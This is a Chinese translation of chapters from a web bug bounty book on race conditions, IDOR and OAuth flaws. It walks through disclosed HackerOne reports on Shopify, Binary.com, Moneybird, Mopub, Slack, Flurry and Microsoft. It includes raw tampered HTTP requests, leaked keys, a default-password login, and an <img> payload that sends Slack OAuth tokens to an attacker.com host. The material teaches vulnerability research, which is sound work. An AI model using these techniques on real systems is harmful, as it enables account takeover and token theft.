后台任务和数据处理是竞态条件的重要组成部分,因为它们可以在检查条件(检查时间)和完成操作(使用时间)之间引入延迟。如果一个网站只在将某些内容添加到后台任务时检查条件,而在实际使用条件时不检查,网站的行为可能会导致竞态条件。
2016 年,HackerOne 开始将授予黑客的悬赏合并成一笔支付,当 PayPal 被用作支付处理器时。在此之前,如果你在一天内获得了多个悬赏,你会收到 HackerOne 为每个悬赏单独支付的款项。更改后,你将会收到所有悬赏的合并支付。
2017 年 4 月,Jigar Thakkar 测试了这个功能,并意识到他可以重复支付。在支付过程中,HackerOne 会根据电子邮件地址收集悬赏,将它们合并为一笔金额,然后将支付请求发送到 PayPal。在这个例子中,前提条件是查找与悬赏相关的电子邮件地址。
Thakkar 发现,如果两个 HackerOne 用户在 PayPal 上注册了相同的电子邮件地址,HackerOne 会将悬赏合并成一笔支付,支付给该单一 PayPal 地址。但如果发现漏洞的用户在悬赏支付合并后但在 HackerOne 后台任务将请求发送给 PayPal 之前更改了他们的 PayPal 地址,那么这笔 lump sum 支付将会发送到原始的 PayPal 地址和用户更改后的新电子邮件地址。
尽管 Thakkar 成功测试了这个漏洞,利用后台任务可能会有一定难度:你需要知道处理何时启动,而且你只有几秒钟的时间来修改条件。
关键要点
如果你注意到一个网站在你访问后很久才执行某些操作,可能是它正在使用后台任务来处理数据。这是一个测试的机会。更改定义任务的条件,查看该任务是否使用新条件而不是旧条件来处理。确保像后台任务会立即执行一样测试行为——后台处理通常可以很快完成,取决于排队的任务数量和网站处理数据的方式。
Shopify 合作伙伴竞态条件
难度: 高
网址: 不适用
来源: hackerone.com/reports/300305/
报告日期: 2017 年 12 月 24 日
支付奖金: $15,250
之前披露的报告可以告诉你在哪里找到更多漏洞。Tanner Emek 使用这种策略在 Shopify 的合作伙伴平台上发现了一个关键漏洞。这个漏洞使得 Emek 能够访问任何 Shopify 店铺,只要他知道店铺当前员工的电子邮件地址。
Shopify 的合作伙伴平台允许商店所有者授权合作开发者访问他们的商店。合作伙伴通过平台请求访问 Shopify 店铺,商店所有者必须批准请求,合作伙伴才能访问店铺。但是,为了发送请求,合作伙伴必须拥有经过验证的电子邮件地址。Shopify 通过向提供的电子邮件地址发送一个独特的 Shopify URL 来验证电子邮件地址。当合作伙伴访问该 URL 时,电子邮件地址就被认为是已验证的。这个过程在合作伙伴注册账户或更改现有账户的电子邮件地址时都会发生。
在 2017 年 12 月,Emek 阅读了一份由 @uzsunny 撰写的报告,该报告获得了$20,000 的奖金。报告揭示了一个漏洞,使得 @uzsunny 能够访问任何 Shopify 店铺。这个漏洞发生在两个合作伙伴账户共享同一个电子邮件并连续请求访问同一店铺时。Shopify 的代码会自动将店铺现有的员工账户转换为协作账户。当一个合作伙伴在店铺中已有员工账户,并且从合作伙伴平台请求协作访问时,Shopify 的代码会自动接受并将账户转换为协作账户。在大多数情况下,这种转换是有意义的,因为合作伙伴已经通过员工账户访问了店铺。
但该代码没有正确检查与电子邮件地址关联的现有账户类型。如果一个现有的协作账户处于“待处理”状态(尚未被店主接受),它会被转换为一个活跃的协作账户。这样,合作伙伴实际上能够在没有店主互动的情况下批准自己的协作请求。
Emek 发现 @uzsunny 的报告中的漏洞依赖于能够通过经过验证的电子邮件地址发送请求。他意识到,如果他能创建一个账户并将该账户的电子邮件地址更改为与某个员工的电子邮件地址匹配,他可能就能像 @uzsunny 一样,恶意地将员工账户转变为他控制的合作者账户。为了测试这个漏洞是否通过竞争条件可以实现,Emek 创建了一个他控制的电子邮件地址的合作伙伴账户。他收到了来自 Shopify 的验证电子邮件,但并没有立即访问该链接。相反,在合作伙伴平台中,他将自己的电子邮件地址更改为 cache@hackerone.com,这是一个他并不拥有的地址,并使用 Burp Suite 拦截了电子邮件更改请求。接着,他点击并拦截了验证链接来验证他的电子邮件地址。当他拦截了这两个 HTTP 请求后,Emek 使用 Burp 依次几乎同时发送了电子邮件更改请求和验证请求。
发送请求后,Emek 刷新页面,发现 Shopify 已执行了更改请求和验证请求。这些操作导致 Shopify 将 Emek 的电子邮件地址验证为 cache@hackerone.com。请求任何 Shopify 商店的合作者权限,只要该商店有一个员工的电子邮件地址是 cache@hackerone.com,Emek 就可以在没有任何管理员干预的情况下访问该商店。Shopify 确认这个漏洞是由于应用程序在更改和验证电子邮件地址时出现了竞争条件。Shopify 通过在每个操作期间锁定账户数据库记录,并要求商店管理员批准所有合作者请求来修复了这个漏洞。
收获
回想一下在 “HackerOne 未预期的 HTML 包含” 报告中的内容,见 第 44 页,修复一个漏洞并不代表修复了与应用程序功能相关的所有漏洞。当一个站点披露新漏洞时,阅读报告并重新测试应用程序。你可能什么问题都找不到,可能绕过了开发者预期的修复,或者可能发现了新的漏洞。至少,通过测试这些功能,你会培养出新的技能。彻底测试任何验证系统,思考开发者可能如何编码该功能,以及它是否可能受到竞争条件的影响。
总结
任何一个网站执行依赖于某个条件为真的操作,并且在执行操作后改变该条件时,都存在竞争条件的风险。需要留意那些限制你可以执行的操作次数或者使用后台作业处理操作的网站。竞争条件漏洞通常要求条件变化非常迅速,因此,如果你认为某个操作存在漏洞,你可能需要多次尝试才能真正利用这个行为。
第十六章:不安全的直接对象引用(IDOR)**

不安全的直接对象引用(IDOR) 漏洞发生在攻击者能够访问或修改他们本不应访问的对象引用时,例如文件、数据库记录、账户等。例如,假设网站 www.id 参数决定了您查看的是哪个资料。如果您能够通过更改 id 参数为 2 来访问其他人的资料,那么这就是一个 IDOR 漏洞。
查找简单的 IDOR 漏洞
一些 IDOR 漏洞比其他的更容易发现。您会发现最容易的 IDOR 漏洞类似于前面的例子:其中标识符是一个简单的整数,并且随着新记录的创建而自动递增。要测试这种类型的 IDOR,您只需对 id 参数加 1 或减 1,并确认您是否能够访问本不应访问的记录。
您可以使用 Web 代理工具 Burp Suite 进行此测试,详细信息请参见 附录 A。Web 代理 捕获浏览器发送到网站的流量。Burp 允许您监视 HTTP 请求,实时修改它们,并重放请求。要测试 IDOR,您可以将请求发送到 Burp 的 Intruder,设置 id 参数的有效载荷,并选择一个数值有效载荷来递增或递减。
启动 Burp Intruder 攻击后,您可以通过检查 Burp 接收到的内容长度和 HTTP 响应代码来判断是否能够访问数据。例如,如果您测试的站点始终返回状态码 403 且所有响应的内容长度相同,那么该站点可能没有漏洞。状态码 403 表示访问被拒绝,因此一致的内容长度表明您收到的是标准的访问拒绝信息。但如果您收到状态码 200 响应并且内容长度可变,那么您可能已经访问了私人记录。
查找更复杂的 IDOR 漏洞
复杂的 IDOR 漏洞可能发生在 id 参数被隐藏在 POST 请求体中,或者通过参数名称无法轻易识别的情况下。您可能会遇到不明显的参数,例如 ref、user 或 column,它们被用作 ID。即使您无法通过参数名称轻易识别出 ID,当参数取整数值时,您可能能够识别出该参数。找到一个取整数值的参数后,测试它,看看在修改 ID 时站点的行为如何变化。同样,您可以使用 Burp 来简化这一过程,通过拦截 HTTP 请求、更改 ID,并使用 Repeater 工具重放请求。
当站点使用随机化标识符时,IDOR 漏洞更难识别,比如 通用唯一标识符(UUID)。UUID 是由 36 个字符组成的字母数字字符串,没有固定的模式。如果你发现一个使用 UUID 的站点,通过测试随机值几乎不可能找到有效的记录或对象。相反,你可以创建两个记录,并在测试过程中在它们之间切换。例如,假设你正在尝试访问使用 UUID 标识的用户资料。首先使用用户 A 创建个人资料;然后以用户 B 登录,尝试使用用户 A 的 UUID 访问其个人资料。
在某些情况下,你可能能够访问使用 UUID 的对象。但站点可能不会认为这是一种漏洞,因为 UUID 被设计为不可猜测。在这种情况下,你需要寻找站点透露该随机标识符的机会。假设你在一个基于团队的网站上,用户是通过 UUID 进行标识的。当你邀请某个用户加入你的团队时,邀请的 HTTP 响应可能会泄露他们的 UUID。在其他情况下,你可能能够在网站上搜索记录,并返回包括 UUID 的结果。如果你无法找到显而易见的地方泄露了 UUID,那么请检查 HTTP 响应中包含的 HTML 页面源代码,这可能会透露一些在网站上不易察觉的信息。你可以通过在 Burp 中监控请求,或通过右键点击浏览器并选择“查看页面源代码”来进行此操作。
即使你找不到泄露的 UUID,一些站点也会奖励这种漏洞,如果该信息是敏感的,并且明显违反了它们的权限模型。你有责任向公司解释为什么你认为发现了他们应该处理的问题,以及你确定漏洞的影响。以下示例展示了找到 IDOR 漏洞的难度范围。
Binary.com 权限提升
难度: 低
网址: www.binary.com
来源: hackerone.com/reports/98247/
报告日期: 2015 年 11 月 6 日
奖励金额: $300
当你在测试使用账户的 web 应用程序时,应该注册两个不同的账户并同时进行测试。这样可以帮助你测试两个你控制的账户之间的 IDOR(不正确的对象引用)漏洞,并了解预期的结果。这就是 Mahmoud Gamal 在发现 binary.com 中的 IDOR 漏洞时所采取的方法。
网站 binary.com 是一个交易平台,允许用户交易货币、指数、股票和商品。在本报告发布时,URL www.binary.com/cashier 会呈现一个 iFrame,其src属性引用了子域 cashier.binary.com 并将如pin、password和secret等 URL 参数传递给该网站。这些参数可能是用于验证用户身份的。由于浏览器正在访问 www.binary.com/cashier,因此传递给 cashier.binary.com 的信息在不查看网站发送的 HTTP 请求的情况下是不可见的。
Gamal 注意到pin参数被用作帐户标识符,并且它似乎是一个容易猜测的递增数字整数。使用两个不同的帐户,我们称之为帐户 A 和帐户 B,他访问了帐户 A 的/cashier路径,记下了pin参数,然后登录到帐户 B。当他修改帐户 B 的 iFrame 以使用帐户 A 的 pin 时,他能够访问帐户 A 的信息并在以帐户 B 身份验证的情况下请求提款。
binary.com 的团队在收到报告后的当天就解决了该问题。他们声称他们手动审查并批准提款,因此会注意到可疑的活动。
重点总结
在这种情况下,一名黑客通过在登录为不同帐户时使用一个帐户的客户 PIN 轻松地手动测试了漏洞。你还可以使用 Burp 插件,如 Autorize 和 Authmatrix,来自动化这种类型的测试。
但是,发现模糊的 IDOR 漏洞可能更困难。该站点使用了 iFrame,这可能导致易于忽略易受攻击的 URL 及其参数,因为如果不查看 HTML 页面源代码,你是看不到它们的。跟踪 iFrame 和多个 URL 可能通过单个网页访问的情况的最佳方法是使用像 Burp 这样的代理。Burp 将记录任何对其他 URL 的GET请求,例如cashier.binary.com,并将其保存在代理历史中,使你更容易捕捉到这些请求。
Moneybird 应用创建
难度: 中等
网址: moneybird.com/user/applications/
来源: hackerone.com/reports/135989/
报告日期: 2016 年 5 月 3 日
奖励支付: $100
2016 年 5 月,我开始对 Moneybird 进行漏洞测试,重点关注其用户帐户权限。为此,我创建了一个帐户 A 的企业,并邀请了一个第二个用户帐户 B,以有限的权限加入。Moneybird 定义了它为新增用户分配的权限,例如使用发票、估算等的权限。
拥有完全权限的用户可以创建应用并启用 API 访问。例如,用户可以提交一个POST请求来创建一个具有完全权限的应用,格式如下:
POST /user/applications HTTP/1.1
Host: moneybird.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Referer: https://moneybird.com/user/applications/new
Cookie: _moneybird_session=REDACTED; trusted_computer=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 397
utf8=%E2%9C%93&authenticity_token=REDACTED&doorkeeper_application%5Bname%5D=TW
DApp&token_type=access_token&➊administration_id=ABCDEFGHIJKLMNOP&scopes%5B%5D
=sales_invoices&scopes%5B%5D=documents&scopes%5B%5D=estimates&scopes%5B%5D=ban
k&scopes%5B%5D=settings&doorkeeper_application%5Bredirect_uri%5D=&commit=Save
如你所见,POST请求体中包含了administration_id ➊参数。这是用户被添加到的账户 ID。尽管 ID 的长度和随机性使其难以猜测,但当用户访问邀请他们的账户时,ID 会立即被泄露。例如,当账户 B 登录并访问账户 A 时,他们会被重定向到 URL https://moneybird.com/ABCDEFGHIJKLMNOP/,其中ABCDEFGHIJKLMNOP就是账户 A 的administration_id。
我测试了账户 B 是否能在没有适当权限的情况下,为账户 A 的业务创建应用程序。我以账户 B 登录并创建了一个第二个业务,这个业务只有账户 B 是唯一成员。这样,账户 B 就会对第二个业务拥有完全权限,即使账户 B 本应只对账户 A 拥有有限权限,且无法为其创建应用程序。
接下来,我访问了账户 B 的设置页面,创建了一个应用,并使用 Burp Suite 拦截了POST调用,将administration_id替换为账户 A 的 ID。转发修改后的请求确认了该漏洞有效。作为账户 B,我拥有了一个完全权限的应用,能够绕过账户 B 的权限限制,使用新创建的应用执行原本无法访问的任何操作。
要点
寻找可能包含 ID 值的参数,例如任何名称中包含id字符的参数。特别注意那些仅包含数字的参数值,因为这些 ID 可能是以某种可猜测的方式生成的。如果无法猜测一个 ID,确定它是否在某处被泄露。我注意到administrator_id因为它名称中有 ID 的引用。尽管 ID 值没有遵循可猜测的模式,但每当用户被邀请到公司时,该值会通过 URL 泄露。
Twitter Mopub API 令牌盗窃
难度: 中等
URL: https://mopub.com/api/v3/organizations/ID/mopub/activate/
来源: hackerone.com/reports/95552/
报告日期: 2015 年 10 月 24 日
奖金支付: $5,040
发现漏洞后,请务必考虑如果攻击者利用此漏洞,会产生什么影响。2015 年 10 月,Akhil Reni 报告了 Twitter 的 Mopub 应用(2013 年收购)存在 IDOR 漏洞,会在POST响应中泄露 API 密钥和密钥。但是几周后,Reni 意识到漏洞比他最初报告的要严重,并提交了更新。幸运的是,他在 Twitter 为此漏洞支付奖金之前做了更新。
当 Reni 最初提交报告时,他发现 Mopub 的一个端点没有正确授权用户,并且会在POST响应中泄露账户的 API 密钥和build_secret。以下是POST请求的样子:
POST /api/v3/organizations/5460d2394b793294df01104a/mopub/activate HTTP/1.1
Host: fabric.io
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-Token: 0jGxOZOgvkmucYubALnlQyoIlsSUBJ1VQxjw0qjp73A=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CRASHLYTICS-DEVELOPER-TOKEN: 0bb5ea45eb53fa71fa5758290be5a7d5bb867e77
X-Requested-With: XMLHttpRequest
Referer: https://fabric.io/img-srcx-onerrorprompt15/android/apps/app
.myapplication/mopub
Content-Length: 235
Cookie: <redacted>
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
company_name=dragoncompany&address1=123 street&address2=123&city=hollywood&
state=california&zip_code=90210&country_code=US&link=false
对该请求的响应如下:
{"mopub_identity":{"id":"5496c76e8b15dabe9c0006d7","confirmed":true,"primary":
false,"service":"mopub","token":"35592"},➊"organization":{"id":"5460d2394b793
294df01104a","name":"test","alias":"test2",➋"api_key":"8590313c7382375063c2fe
279a4487a98387767a","enrollments":{"beta_distribution":"true"},"accounts
_count":3,"apps_counts":{"android":2},"sdk_organization":true,➌"build
_secret":"5ef0323f62d71c475611a635ea09a3132f037557d801503573b643ef8ad82054",
"mopub_id":"33525"}}
Mopub 的POST响应提供了api_key ➋和build_secret ➌,这些信息 Reni 在初次报告中已经报告给了 Twitter。但访问这些信息还需要知道一个organization_id ➊,这是一个无法猜测的 24 位数字字符串。Reni 注意到用户可以通过一个 URL 公开分享应用崩溃问题,例如 http://crashes.to/s/<11 个字符>。访问这些 URL 中的任何一个将会在响应体中返回无法猜测的organization_id。Reni 通过使用 Google dork site:http://crashes.to/s/访问这些 URL,枚举了organization_id值。通过api_key、build_secret和organization_id,攻击者可以窃取 API 令牌。
Twitter 解决了该漏洞,并要求 Reni 确认他是否仍然能够访问这些敏感信息。正是在这一点上,Reni 发现 HTTP 响应中返回的build_secret也被用在了 URL https://app.mopub.com/complete/htsdk/?code=<BUILDSECRET>&next=%2d。这个 URL 验证了用户身份,并将他们重定向到关联的 Mopub 账户,这使得恶意用户能够登录任何其他用户的账户。恶意用户将能够访问目标账户在 Twitter 移动开发平台上的应用和组织。Twitter 回应了 Reni 的评论,要求提供更多的信息和复现攻击的步骤,Reni 也提供了这些信息。
要点
始终确保确认你所发现漏洞的全部影响,尤其是当涉及到 IDOR 时。在这个案例中,Reni 发现他可以通过访问POST请求并使用一个简单的 Google dork 来获取敏感的秘密值。Reni 最初报告说 Twitter 泄露了敏感信息,但他后来才意识到这些值在平台上的使用方式。如果 Reni 在提交报告后没有提供额外的信息,Twitter 可能不会意识到他们容易受到账户接管的威胁,赏金也许会更少。
ACME 客户信息泄露
难度: 高
URL: https://www.
来源: 不适用
报告日期: 2017 年 2 月 20 日
支付赏金: $3,000
这个漏洞是 HackerOne 上的一个私有项目的一部分。此漏洞未公开,所有信息已被匿名化。
一家公司,我在这里称之为 ACME 公司,为管理员创建用户并分配权限的软件。当我开始测试该软件的漏洞时,我使用管理员账户创建了一个没有权限的第二个用户。使用第二个用户账户时,我开始访问管理员本应有权限访问,但第二个用户不该访问的 URL。
使用我的无权限账户,我通过 URL 访问了一个客户详情页,URL 为www.customer_id参数的 ID 返回客户信息。我惊讶地发现,第二个用户账户能够看到客户详情。
尽管customer_id看似无法猜测,但它可能会在网站某处被错误地泄露。或者,如果一个用户被撤销了权限,只要知道customer_id,他们仍然能够访问客户信息。我以这个理由报告了这个漏洞。事后想来,我应该在报告之前就寻找泄露的customer_id。
该程序将我的报告标记为信息性报告,理由是customer_id无法猜测。信息性报告不会带来奖励,并可能对你的 HackerOne 统计数据产生负面影响。尽管如此,我仍然开始寻找可能泄露 ID 的地方,通过测试我能找到的所有端点。两天后,我发现了一个漏洞。
我开始通过一个仅有权限搜索订单的用户访问 URL,该用户本不应能访问客户或产品信息。但我发现订单搜索的响应中返回了以下 JSON:
{
"select": "(*,hits.(data.(order_no, customer_info, product_items.(product_
id,item_text), status, creation_date, order_total, currency)))",
"_type": "order_search_result",
"count": 1,
"start": 0,
"hits": [{
"data": {
"order_no": "00000001",
"product_items": [{
"_type": "product_item",
"product_id": "test1231234",
"item_text": "test"
}],
"_type": "order",
"creation_date": "2017-02-25T02:31Z",
"customer_info": {
"customer_no": "00006001",
"_type": "customer_info",
"customer_name": "pete test",
"customer_id": "abeZMloJyUovapiXqHyi0DshH",
"email": "test@gmail.com"
}
}
}]
}--snip--
请注意,JSON 中包括了customer_id ➊,这个 ID 与在 URL 中用于显示客户信息的 ID 相同。这意味着客户 ID 正在泄露,无权限的用户可能会找到并访问他们本不应该看到的客户信息。
除了找到customer_id,我还继续调查漏洞的范围。我发现了其他 ID,这些 ID 也可以在 URL 中使用,返回本应无法访问的信息。我的第二份报告被接受,并获得了奖励。
总结
当你发现一个漏洞时,确保了解攻击者能够利用它的范围。尝试寻找泄露的标识符或其他可能存在类似漏洞的 ID。此外,如果一个程序不同意你的报告,不要灰心。你可以继续寻找其他可能利用该漏洞的地方,如果发现任何进一步的信息,可以提交另一个报告。
概述
IDOR(不安全直接对象引用)发生在攻击者可以访问或修改他们不应该能够访问的对象引用时。IDOR 可以很简单:它们可能只需要通过加减 1 来利用数值递增的整数。对于更复杂的 IDOR,使用 UUID 或随机标识符时,可能需要彻底测试平台以查找泄漏。你可以在多个地方检查泄漏,例如在 JSON 响应中、HTML 内容中、通过 Google dorks 或通过 URLs 中。当你报告时,务必详细说明攻击者如何滥用此漏洞。例如,攻击者能够绕过平台权限的漏洞,其悬赏金额会低于导致完整账户接管的漏洞的悬赏金额。
第十七章:OAUTH 漏洞

OAuth 是一种开放协议,简化并标准化了 web、移动和桌面应用程序中的安全授权。它允许用户在网站上创建账户,而无需创建用户名或密码。在网站上通常可以看到类似 platform 的“一键登录”按钮,如 图 17-1 所示,平台可以是 Facebook、Google、LinkedIn、Twitter 等等。

图 17-1:示例 OAuth 使用 Google 登录按钮
OAuth 漏洞是一种应用程序配置漏洞,意味着它们依赖于开发人员的实现错误。然而,考虑到 OAuth 漏洞的影响和发生频率,值得专门用一整章来讨论它们。虽然 OAuth 漏洞有许多种类型,本章将主要讨论攻击者如何利用 OAuth 漏洞窃取认证令牌并访问目标用户在资源服务器上的账户信息的案例。
截至目前,OAuth 有两个版本:1.0a 和 2.0,这两个版本互不兼容。关于 OAuth 有很多书籍,但本章主要关注 OAuth 2.0 及其基本工作流程。
OAuth 工作流程
OAuth 过程较为复杂,我们先从基本术语开始介绍。最基本的 OAuth 流程涉及三个角色:
-
资源所有者 是通过 OAuth 尝试登录的用户。
-
资源服务器 是一个第三方 API,用于验证资源所有者的身份。任何网站都可以是资源服务器,但最常见的包括 Facebook、Google、LinkedIn 等等。
-
客户端 是资源所有者访问的第三方应用。客户端被允许访问资源服务器上的数据。
当你尝试使用 OAuth 登录时,客户端会向资源服务器请求访问你的信息,并询问资源所有者(即你)是否批准访问数据。客户端可能会请求访问你所有的信息,或者仅请求某些特定的数据。客户端请求的信息由作用域(scopes)定义。作用域类似于权限,它们限制了应用程序可以访问资源服务器上的哪些信息。例如,Facebook 的作用域包括用户的 email、public_profile、user_friends 等等。如果你仅授予客户端 email 作用域的访问权限,那么客户端无法访问你的个人资料信息、好友列表和其他信息。
现在你已经了解了涉及的各方,让我们以 Facebook 作为示例资源服务器,来看看 OAuth 过程在首次登录客户端时是如何运作的。当你访问客户端并点击“使用 Facebook 登录”按钮时,OAuth 过程就开始了。此时会向客户端的认证端点发送一个GET请求。通常,该路径看起来像这样:https://www.
客户端会通过 302 重定向响应此 HTTP 请求,重定向 URL 将包括用于促进 OAuth 过程的参数,定义如下:
-
client_id标识客户端在资源服务器上的身份。每个客户端都会有自己的client_id,以便资源服务器能够识别发起请求的应用程序,从而访问资源所有者的信息。
-
redirect_uri标识了在资源服务器验证资源所有者后,应该将资源所有者的浏览器重定向到哪里。
-
response_type标识应提供什么类型的响应。通常,这可以是令牌或代码,尽管资源服务器可以定义其他接受的值。令牌响应类型提供一个访问令牌,使得能够立即访问资源服务器中的信息。代码响应类型提供一个访问代码,必须通过 OAuth 过程中的额外步骤交换为访问令牌。
-
如前所述,scope标识了客户端请求访问资源服务器的权限。在第一次授权请求时,资源所有者应该看到一个对话框,以审查并批准请求的权限范围。
-
state是一个无法猜测的值,用于防止跨站请求伪造。这个值是可选的,但应在所有 OAuth 应用中实现。它应该包含在发送到资源服务器的 HTTP 请求中,然后由客户端返回并进行验证,以确保攻击者不能恶意地代表另一个用户触发 OAuth 过程。
一个启动 OAuth 过程的示例 URL 看起来像这样:https://www.facebook.com/v2.0/dialog/oauth?client_id=123&redirect_uri=https%3A%2F%2Fwww.
在收到 302 重定向响应后,浏览器会向资源服务器发送一个GET请求。如果你已经登录到资源服务器,应该会看到一个对话框,要求你批准客户端请求的权限范围。图 17-2 展示了网站 Quora(客户端)代表资源所有者请求访问 Facebook(资源服务器)信息的示例。
点击“继续以 John 身份”按钮批准 Quora 请求访问列出的权限范围,包括资源拥有者的公共资料、好友列表、生日、家乡等。在资源拥有者点击按钮后,Facebook 会返回 302 HTTP 响应,将浏览器重定向回先前讨论的 redirect_uri 参数所定义的 URL。重定向还包括令牌和状态参数。以下是 Facebook 到 Quora 的 URL 重定向示例(已根据本书进行了修改):
在这种情况下,Facebook 返回了一个访问令牌,Quora(客户端)可以使用该令牌立即查询资源拥有者的信息。一旦客户端拥有了 access_token,资源拥有者在 OAuth 过程中的参与便已完成。客户端将直接查询 Facebook API 获取所需的资源拥有者信息。资源拥有者能够使用该客户端,而不必知道客户端与 API 之间的交互。

图 17-2:通过 Facebook OAuth 权限授权登录 Quora
然而,如果 Facebook 返回的是代码而不是访问令牌,Quora 需要用该代码换取访问令牌以从资源服务器查询信息。这个过程是在客户端和资源服务器之间完成的,不涉及资源拥有者的浏览器。为了获得令牌,客户端向资源服务器发出 HTTP 请求,其中包含三个 URL 参数:访问 code,client_id 和 client_secret。访问 code 是通过 302 HTTP 重定向从资源服务器返回的值。client_secret 是一个应由客户端保密的值。它是在应用程序配置时由资源服务器生成,并分配 client_id。
最后,一旦资源服务器接收到带有 client_secret、client_id 和访问 code 的客户端请求,它会验证这些值并返回 access_token 给客户端。在此阶段,客户端可以查询资源服务器以获取关于资源拥有者的信息,OAuth 过程也就完成了。一旦你批准了资源服务器访问你的信息,下一次使用 Facebook 登录客户端时,OAuth 验证过程通常会在后台进行。除非你监控 HTTP 请求,否则你不会看到任何这种交互。客户端可以更改此默认行为,要求资源拥有者重新认证并批准权限范围;不过,这种情况非常罕见。
OAuth 漏洞的严重性取决于与被窃取的令牌相关联的权限范围,如下文示例所示。
窃取 Slack OAuth 令牌
难度: 低
URL: slack.com/oauth/authorize/
来源: hackerone.com/reports/2575/
报告日期: 2013 年 3 月 1 日
悬赏金额: $100
一种常见的 OAuth 漏洞发生在开发者错误地配置或比较允许的 redirect_uri 参数时,这使得攻击者可以窃取 OAuth 令牌。在 2013 年 3 月,Prakhar Prasad 就在 Slack 的 OAuth 实现中发现了这一点。Prasad 通知了 Slack,表示他可以通过将任意内容附加到一个白名单中的 redirect_uri 来绕过他们的 redirect_uri 限制。换句话说,Slack 仅验证了 redirect_uri 参数的开头部分。如果开发者在 Slack 注册了一个新应用并将 https://www.
要利用这种行为,攻击者只需要在其恶意网站上创建一个匹配的子域名。如果目标用户访问了恶意修改过的 URL,Slack 会将 OAuth 令牌发送到攻击者的网站。攻击者可以通过在恶意网页中嵌入 <img> 标签来代表目标用户发起请求,例如 <img src=https://slack.com/oauth/authorize?response_type=token&client_id=APP_ID&redirect_uri=https://www.example.com.attacker.com>。使用 <img> 标签在渲染时会自动发起一个 HTTP GET 请求。
要点
在 redirect_uri 没有严格检查的情况下的漏洞是常见的 OAuth 配置错误。有时,这种漏洞是因为一个应用程序将一个域名(如 **.
使用默认密码通过身份验证
难度: 低
网址: https://flurry.com/auth/v1/account/
来源: lightningsecurity.io/blog/password-not-provided/
报告日期: 2017 年 6 月 30 日
悬赏金额: 未公开
查找 OAuth 实现中的漏洞需要审查整个身份验证过程,从头到尾。这包括识别那些不属于标准化过程的 HTTP 请求。这些请求通常表明开发者已经定制了该过程,并可能引入了漏洞。Jack Cable 就是在 2017 年 6 月发现了这种情况,当时他查看了 Yahoo 的漏洞赏金计划。
雅虎的奖励计划包括分析网站 Flurry.com。为了开始测试,Cable 使用他的 @yahoo.com 电子邮件地址通过雅虎的 OAuth 实现注册了一个 Flurry 账户。Flurry 和雅虎交换了 OAuth 令牌后,向 Flurry 发送的最终 POST 请求如下:
POST /auth/v1/account HTTP/1.1
Host: auth.flurry.com
Connection: close
Content-Length: 205
Content-Type: application/vnd.api+json
DNT: 1
Referer: https://login.flurry.com/signup
Accept-Language: en-US,en;q=0.8,la;q=0.6
{"data":{"type":"account","id":"...","attributes":{"email":...@yahoo.com,
"companyName":"1234","firstname":"jack","lastname":"cable",➊"password":
"not-provided"}}}
请求中的 "password":"not-provided" 部分 ➊ 引起了 Cable 的注意。退出账户后,他重新访问了 login.flurry.com/,并在没有使用 OAuth 的情况下登录。相反,他提供了他的电子邮件地址和密码 not-provided。这一操作成功,Cable 成功登录了他的账户。
如果任何用户使用他们的雅虎账户和 OAuth 流程在 Flurry 注册,Flurry 会将该账户作为客户端注册到他们的系统中。然后,Flurry 会以默认密码 not-provided 保存用户账户。Cable 提交了这个漏洞,雅虎在收到报告后五小时内修复了它。
总结
在这种情况下,Flurry 在认证流程中加入了一个额外的自定义步骤,通过 POST 请求在用户认证后创建用户账户。自定义的 OAuth 实现步骤通常配置错误,从而导致漏洞,因此一定要彻底测试这些过程。在这个例子中,Flurry 很可能是在现有的用户注册流程基础上构建了 OAuth 流程,以匹配应用程序的其他部分。Flurry 可能并未要求用户在实施雅虎 OAuth 前创建账户。为了方便没有账户的用户,Flurry 的开发人员可能决定调用相同的注册 POST 请求来创建用户。但该请求需要一个密码参数,因此 Flurry 设置了一个不安全的默认密码。
窃取 Microsoft 登录令牌
难度: 高
来源: https://whitton.io/articles/obtaining-tokens-outlook-office-azure-account/
报告日期: 2016 年 1 月 24 日
奖励金额: $13,000
尽管微软没有实施标准的 OAuth 流程,但它使用了一个非常相似的流程,适用于测试 OAuth 应用程序。当你测试 OAuth 或任何类似的认证流程时,务必彻底测试重定向参数是如何验证的。你可以通过将不同的 URL 结构传递给应用程序来测试这一点。这正是 Jack Whitton 在 2016 年 1 月做的,当时他测试了微软的登录流程并发现他可以窃取认证令牌。
由于微软拥有众多的服务,因此根据用户正在认证的服务,微软会通过请求 login.live.com、login.microsoftonline.com 和 login.windows.net 来进行身份验证。这些 URL 会为用户返回一个会话。例如,* outlook.office.com* 的流程如下:
-
用户将访问
outlook.office.com。 -
如果用户已经登录,将向
wreply参数发送一个POST请求,t参数中包含用户的令牌。
将 wreply 参数更改为其他任何域名会导致流程错误。Whitton 还尝试通过在 URL 末尾添加 %252f 来对字符进行双重编码,形成 https%3a%2f%2foutlook.office.com%252f。在这个 URL 中,特殊字符会被编码,例如冒号 (:) 被编码为 %3a,斜杠 (/) 被编码为 %2f。当进行 双重编码 时,攻击者还会在初次编码时对百分号 (%) 进行编码。这样做会使得双重编码后的斜杠变成 %252f(编码特殊字符的讨论可以参见 “Twitter HTTP Response Splitting” 在 第 52 页)。当 Whitton 将 wreply 参数更改为双重编码后的 URL 时,应用程序返回了一个错误,表明 https://outlook.office.com%f 不是一个有效的 URL。
接下来,Whitton 将 @example.com 添加到域名中,但并未导致错误。相反,它返回了 outlook.office.com%2f@example.com/?wa=wsignin1.0。之所以会这样,是因为 URL 的结构是:* [//[用户名:密码@]主机[:端口]][/]路径[?查询][#片段]*。用户名 和 密码 参数将基本的授权凭证传递给网站。因此,通过添加 @example.com,重定向的主机不再是 outlook.office.com,而是可以设置为任何攻击者控制的主机。
根据 Whitton 的说法,这个漏洞的根本原因在于微软处理解码和 URL 验证的方式。微软可能采用了一个两步过程。首先,微软会进行有效性检查,确保域名有效且符合 URL 结构方案。URL outlook.office.com%2f@example.com 是有效的,因为 outlook.office.com%2f 会被识别为有效的用户名。
